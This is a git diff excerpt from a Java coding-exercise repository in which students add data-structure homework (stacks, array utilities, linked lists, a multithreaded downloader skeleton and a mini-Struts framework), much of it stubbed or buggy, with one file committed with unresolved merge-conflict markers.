+    public static void main(String[] args) {
+        StackWithTwoQueues s = new StackWithTwoQueues();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        for (int i = 0; i < 3; i++) {
+            System.out.println(s.pop());
+        }
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java b/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
new file mode 100644
index 0000000000..28bc0a30af
--- /dev/null
+++ b/group23/563253496/week9_datastructure/src/TwoStackInOneArray.java
@@ -0,0 +1,100 @@
+/**
+ * Created by bdl19 on 2017/5/6.
+ */
+public class TwoStackInOneArray {
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else return false;
+    }
+
+    private void extendCapacity() {
+        Object[] temp = new Object[data.length + data.length / 2];
+        for (int i = 0; i <= index1; i++) {
+            temp[i] = data[i];
+        }
+        int indext = data.length - 1;
+        for (int i = temp.length - 1; i >= data.length - index2; i--) {
+            temp[i] = indext;
+            indext--;
+        }
+        index2 = temp.length - (temp.length - index1);
+        this.data = temp;
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        if (this.isFull()) {
+            extendCapacity();
+        }
+        data[index1] = o;
+        index1++;
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        index1--;
+        Object o = data[index1];
+        data[index1] = null;
+        return o;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return data[index1 - 1];
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        if (this.isFull()) {
+            extendCapacity();
+        }
+        data[index2] = o;
+        index2--;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+
+        Object o = data[++index2];
+        data[index2] = null;
+        return o;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+
+        return data[index2 + 1];
+    }
+
+}
\ No newline at end of file
diff --git a/group23/565832157/src/com/coderising/array/ArrayUtil.java b/group23/565832157/src/com/coderising/array/ArrayUtil.java
new file mode 100644
index 0000000000..e5ddb476a6
--- /dev/null
+++ b/group23/565832157/src/com/coderising/array/ArrayUtil.java
@@ -0,0 +1,96 @@
+package com.coderising.array;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		return null;
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+		return  null;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return null;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		return null;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		return null;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		return null;
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		return null;
+	}
+	
+
+}
diff --git a/group23/565832157/src/com/coderising/download/DownloadThread.java b/group23/565832157/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..900a3ad358
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,20 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		
+	}
+}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloader.java b/group23/565832157/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..c3c8a3f27d
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,73 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coderising/download/FileDownloaderTest.java b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..4ff7f46ae0
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/download/api/Connection.java b/group23/565832157/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..0957eaf7f4
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionException.java b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/565832157/src/com/coderising/download/api/ConnectionManager.java b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/565832157/src/com/coderising/download/api/DownloadListener.java b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..36a9d2ce15
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,27 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		
+		return null;
+	}
+
+	@Override
+	public int getContentLength() {
+		
+		return 0;
+	}
+
+	@Override
+	public void close() {
+		
+		
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..172371dd55
--- /dev/null
+++ b/group23/565832157/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.coderising.download.impl;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		
+		return null;
+	}
+
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/LoginAction.java b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/Struts.java b/group23/565832157/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..6df190d484
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,37 @@
+package com.coderising.litestruts;
+
+import java.lang.reflect.Method;
+import java.util.Map;
+
+
+
+public class Struts {
+
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    
+    	return null;
+    }    
+
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/StrutsTest.java b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..b8c81faf3c
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/565832157/src/com/coderising/litestruts/View.java b/group23/565832157/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/565832157/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/565832157/src/com/coding/basic/ArrayList.java b/group23/565832157/src/com/coding/basic/ArrayList.java
new file mode 100644
index 0000000000..1f185736f9
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/ArrayList.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coding/basic/BinaryTreeNode.java b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/565832157/src/com/coding/basic/Iterator.java b/group23/565832157/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/565832157/src/com/coding/basic/LinkedList.java b/group23/565832157/src/com/coding/basic/LinkedList.java
new file mode 100644
index 0000000000..77657e57c1
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/LinkedList.java
@@ -0,0 +1,265 @@
+<<<<<<< HEAD:liuxin/src/com/coding/basic/LinkedList.java
+package com.coding.basic;
+
+public class LinkedList implements List {
+	private int size;
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 			head   				 head
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){	
+		/**
+		 * 长度超过1的单链表需要逆转
+		 */
+		if(size>1){
+			Node pre = head;
+			Node cur = head.next;
+			Node next = null;
+			while(cur!=null){
+				next = cur.next;
+				cur.next = pre;
+				pre = cur;
+				cur = next;
+			}
+			
+		}
+	}
+	
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始,删除length个元素 ,注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public LinkedList intersection(LinkedList list){
+		
+		return null;
+	}
+}
+=======
+package com.coding.basic;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
+>>>>>>> upstream/master:group23/565832157/src/com/coding/basic/LinkedList.java
diff --git a/group23/565832157/src/com/coding/basic/List.java b/group23/565832157/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/565832157/src/com/coding/basic/Queue.java b/group23/565832157/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/565832157/src/com/coding/basic/Stack.java b/group23/565832157/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..a5a04de76d
--- /dev/null
+++ b/group23/565832157/src/com/coding/basic/Stack.java
@@ -0,0 +1,22 @@
+package com.coding.basic;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/601689050/.gitattributes b/group23/601689050/.gitattributes
new file mode 100644
index 0000000000..bdb0cabc87
--- /dev/null
+++ b/group23/601689050/.gitattributes
@@ -0,0 +1,17 @@
+# Auto detect text files and perform LF normalization
+* text=auto
+
+# Custom for Visual Studio
+*.cs     diff=csharp
+
+# Standard to msysgit
+*.doc	 diff=astextplain
+*.DOC	 diff=astextplain
+*.docx diff=astextplain
+*.DOCX diff=astextplain
+*.dot  diff=astextplain
+*.DOT  diff=astextplain
+*.pdf  diff=astextplain
+*.PDF	 diff=astextplain
+*.rtf	 diff=astextplain
+*.RTF	 diff=astextplain
diff --git a/group23/601689050/1List&BinaryTreeNode/ArrayList.java b/group23/601689050/1List&BinaryTreeNode/ArrayList.java
new file mode 100644
index 0000000000..5a4169dc9b
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/ArrayList.java
@@ -0,0 +1,58 @@
+package com.bjsxd.test;
+
+public class ArrayList implements List {
+    private Object[] elementData = new Object[100];
+    private int size = 0;
+    Object[] temp = null;
+
+    public void add(Object o) {
+        if (size < elementData.length) {
+            size++;
+            Object[] target = new Object[elementData.length + size];
+            System.arraycopy(elementData, 0, target, 0, elementData.length);
+            elementData[size] = o;
+        }
+    }
+
+    public void add(int index, Object o) {
+        if (index < 0 || o == null) {
+            throw new IllegalArgumentException("��Ӷ������");
+        } else if (index <= elementData.length) {
+            add(o);
+        } else if (index > elementData.length) {
+            throw new IllegalArgumentException("��Ӷ���Խ��");
+        }
+
+        if (size <= elementData.length) {
+            this.size++;
+        }
+        Object[] target = new Object[this.size];
+        System.arraycopy(elementData, 0, target, 0, index);
+        target[index] = o;
+        System.arraycopy(elementData, index, target, index + 1, elementData.length - index);
+    }
+
+    public Object get(int index) {
+        if (index < 0 || index >= elementData.length) {
+            return false;
+        } else {
+            return elementData[index];
+        }
+    }
+
+    public Object remove(int index) {
+        if (index < 0 || index >= elementData.length) {
+            throw new IllegalArgumentException("ɾ�����󲻴���");
+        } else {
+            for (int i = index; i < elementData.length; i++) {
+                elementData[i] = elementData[i + 1];
+            }
+            return elementData[index];
+        }
+    }
+
+    public int size() {
+        return this.size;
+    }
+
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java b/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
new file mode 100644
index 0000000000..3687306f5e
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
@@ -0,0 +1,50 @@
+package com.bjsxd.test;
+
+public class BinaryTreeNode {
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	private BinaryTreeNode root;
+	
+	public BinaryTreeNode(BinaryTreeNode root){
+		this.root = root;
+		
+	}
+	
+	public BinaryTreeNode(BinaryTreeNode left,BinaryTreeNode right,Object data){
+		this.left = left;
+		this.right = right;
+		this.data = data;
+	}
+	
+	public void buildTree(){
+		
+	}
+	
+	public BinaryTreeNode(Object data){
+		this(null,null,data);
+	}
+	 public Object getData(){
+		 return data;
+	 }
+	 public void setData(Object data){
+		 this.data = data;
+	 }
+	 public BinaryTreeNode getLeft(){
+		 return left;
+	 }
+	 public void setLeft(BinaryTreeNode left){
+		 this.left = left;
+		
+	 }
+	 public BinaryTreeNode getRight(){
+		 return right;
+	 }
+	 public void setRight(BinaryTreeNode right){
+		 this.right = right;
+	 }
+	 public BinaryTreeNode insert(Object o){
+		 return null;
+	 }
+
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/Iterator.java b/group23/601689050/1List&BinaryTreeNode/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/601689050/1List&BinaryTreeNode/LinkedList.java b/group23/601689050/1List&BinaryTreeNode/LinkedList.java
new file mode 100644
index 0000000000..ee173bec67
--- /dev/null
+++ b/group23/601689050/1List&BinaryTreeNode/LinkedList.java
@@ -0,0 +1,117 @@
+package com.bjsxd.test;
+
+public class LinkedList implements List{
+	private static class Node{
+		Object data;
+		Node next;
+	}
+	private Node head;
+	private Node last;
+	public void add (Object o){
+		if (head == null){
+			head = new Node();
